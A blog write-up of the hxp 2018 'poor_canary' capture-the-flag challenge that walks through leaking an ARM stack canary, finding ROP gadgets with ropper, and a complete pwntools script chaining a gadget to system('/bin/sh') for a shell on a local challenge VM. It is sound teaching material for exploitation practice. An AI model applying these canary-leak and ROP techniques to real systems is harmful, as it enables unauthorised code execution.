A Simple ROP Exploit | poor_canary writeup

Categories: Coding, ctf

HXP 2018 has a “baby” challenge called poor_canary which was my first actual ROP exploit. If you want to follow along you’ll need to download and install the hxp 2018 vm image and install it locally. If you’re on a mac, you might need to port forward in order to get the image working properly. I have the following in my .zshrc:

##############################
#        HXP CTF             #
##############################
function hxp () {
        if [ -n "$1" ]
        then
                echo "Forwarding HXP through to port $($1)"
                ssh -v -p22222 -L"$1":127.0.1:"$1" hxp@127.0.0.1
        else
                echo "Running HXP main on port 8888"
                ssh -p22222 -L8888:127.0.1:80 hxp@127.0.0.1
        fi
}

That way I can just open up a new screen with my vm running and run hxp to have my vm serve the hxp site to localhost:8888 and if I want to forward one of the services I can run something like hxp 18113 and then nc localhost 18113 will work as expected. I’d like to give a huge shout out to the ENOFLAG team who’s writeup helped me comprehend this challenge. Now that that’s settled, let’s jump in.

Pwntools

I’d never used pwntools before, but it’s something that is completely necessary for this challenge. I set it up in a virtual environment and just source that anytime I want to use it.

Solution

Looking at the c code provided shows us that this is a buffer overflow exploit, but the title leads us to believe that the stack has a canary in it. Looking at the binary in binary ninja confirms this hunch.

__stack_chk_guard check the canary

We can also see that the function pointer to systemis saved after main so we can guess that this address should be somewhere in the binary.

Further analysis of the binary shows us that __libc_system is located at address 0x0016d90.

Now that we know this information, we need to start messing with payloads to send to the binary. Running the command pwn template --host 127.0.0.1 --port 18113 ./canary will generate code to connect to a remote host and send payloads to it. This is part of pwntools. Once we connect to the remote, we can send some code like this:

io.recvline()                    # Get the welcome message
io.send('A' * 41)                # Send something to get canary
r = io.recvline()                # Get something with the canary
canary = bytes('\x00' + r[43:-1])# Get the canary
print 'Canary: 0x{:x}'.format(u32(canary))

What does this actually do? Well looking at the c code we can see that we are allocated a 40 character buffer, but we can read in 0x60 characters. It’s also important to note that many canary’s start with 0x00 (why? because this makes it harder to get the canary because this acts like a null terminator). But, in our binary, if we just send 41 characters this will overwrite the null byte and send the remainder of the canary! Then we add back 0x00to get our canary and we’re ready to move forward.

Next comes finding the string /bin/sh, since this is what we’d ideally like to pass to system to spawn a shell. So let’s use ropper to see if there is anything in our binary.

$ ropper -f canary --string "/bin/sh"
Strings
=======
Address     Value
-------     -----
0x00071eb0  /bin/sh

Well that was easy; ropper rocks!

Now, where do we put this string in order to have it be run by system? Using godbold to help us we can look at the ARM assembly for system("/bin/sh");.

.LC0:
        .ascii  "/bin/sh\000"
square:
        push    {fp, lr}
        add     fp, sp, #4
        sub     sp, sp, #8
        str     r0, [fp, #-8]
        ldr     r0, .L2
        bl      system
        nop
        mov     r0, r3
        sub     sp, fp, #4
        pop     {fp, pc}
.L2:
        .word   .LC0

Great, so we push our command into register r0 and then system will use that as its argument. Now let’s find some rop gadgets that put things into r0. Keep in mind that ARM is a little weird and uses the concept of <a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0552a/BABIAJHJ.html">reglists</a>to push and pop multiple registers at the same time.

$ ropper -f canary --nocolor | grep ": pop {r0"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0005ab20: pop {r0, r1, r2, r3, ip, lr}; ldr r1, [r0, #4]; bx r1;
0x0005a120: pop {r0, r1, r2, r3, r4, lr}; bx ip;
0x0005ab04: pop {r0, r1, r3, ip, lr}; pop {r2}; ldr r1, [r0, #4]; bx r1;
0x00026b7c: pop {r0, r4, pc};

pop {r0, r4, pc}looks ideal. This will take the next three words off the stack and save them into r0, r4, and pc respectively. And with this we can construct our payload! We have 40 bytes of garbage to fill up the buffer, the canary, 12 bytes of garbage (this I just took from the other writeup, if someone could explain exactly how to get this 12 byte offset for the return address that would be really helpful), our ROP gadget, the address of /bin/sh, 4 bytes of garbage (we don’t care what gets saved into r4), and finally the address of system.

To fully lay it out, this will overwrite the return address to be our ROP gadget, which will then pop the address of /bin/sh into r0 and change the PC to the system function. This is essentially calling system("/bin/sh");. Our full exploit script looks like so:

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 127.0.0.1 --port 18113 ./canary
from pwn import *
import ipdb

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./canary')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '127.0.0.1'
port = int(args.PORT or 18113)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
break *0x{exe.symbols.main:x}
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     arm-32-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x10000)

io = start()
io.recvline()                           # Get the welcome message

# Why does this work? The canary starts after the 40th byte. But, we can overflow
# the buffer up to 0x60. By writing over the first byte of the canary (which is always
# the null byte 0x00) we can print out the bytes after it until we get another null byte
# or return value. So we then snag the bytes after the 41 chars we send and add 0x00 later 
# to recreate the canary.
io.send('A' * 41)                       # Send something to get canary
r = io.recvline()                       # Get something with the canary
canary = bytes('\x00' + r[43:-1])       # Get the canary

print 'Canary: 0x{:x}'.format(u32(canary))

# 0x00026b7c: pop {r0, r4, pc};
# Can get this from running: ropper -f canary --nocolor | grep ": pop {r0"
# 0x00071eb0  /bin/sh
# ropper -f canary --string "/bin/sh"
# __libc_system : 0x00016d90
# This one I had to look up in binary ninja because IDA wasn't working with ARM 
# arch. This is the func* to system().

pwnn = "A"*40 + canary + "A"*12 + "\x7c\x6b\x02\x00" + "\xb0\x1e\x07\x00" + "A"*4 + "\x90\x6D\x01\x00"
io.send(pwnn)

io.recvuntil("> ")
io.send('\n')

io.interactive()

And this gives us access! When we run:

$ ./prawn.py
[*] '/Users/telwell/Dropbox/coding_bkup/Coding/ctf/hxp/2018/poor_canary/canary'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
[+] Opening connection to 127.0.0.1 on port 18113: Done
Canary: 0x4f35000
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> $ ls
canary
flag.txt
$ cat flag.txt
hxp{w3lc0m3_70_7h3_31337_club_k1dd0}

«
»